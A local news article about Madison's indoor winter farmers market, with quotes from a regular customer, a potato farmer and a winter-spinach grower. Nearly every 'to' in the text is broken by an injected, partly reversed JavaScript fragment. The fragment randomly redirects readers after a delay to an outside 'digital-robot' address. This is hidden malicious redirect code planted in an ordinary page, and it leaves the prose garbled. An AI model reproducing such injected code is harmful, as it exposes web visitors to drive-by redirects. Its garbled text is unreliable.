By Jenny Falk

MADISON, Wis.–The outdoor farmers markets won’t be open for another month. In the meantime, farmers at the winter market are still selling at the Madison Senior Center.

The farmers market is a long-standing tradition in Madison. A tradition that continues even through the winter at the Monona Terrace, and at the Madison Senior Center.

“I’m a year round farmers market junkie,” said market regular Jim Draeger. “I’m either out of tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}town or I’m dead if I’m not here.”

But, as popular as the farmers market is, success all depends on the season.

Potatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to farmer John Aue said it was a good year for his crop.

John sells potatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toes at the market beginning in September, but because they harvest late, they can run in tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to freezes.

“That didn’t happen this past fall. Temperatures were mild all the way through. So there’s global warming for you. Plus side,” Aue said.

He expects tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have potatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toes at the farmers market through June.

Some farmers have used the winter season tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to their advantage, like spinach grower Bill Warner.

Bill grows winter spinach, which gets sweeter the more it freezes.

“I never thought you could put spinach and good tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together, but you actually can with winter spinach,” Warner said.

But for many farmers, the market is much more than just a way tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make money.

“This plus side—being able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to actually know the people your labor is feeding is just priceless,” Aue said.

The last chance tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to attend the indoor winter farmers market is April 11th. Just head over tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Madison Senior Center Saturdays between 8 and noon.

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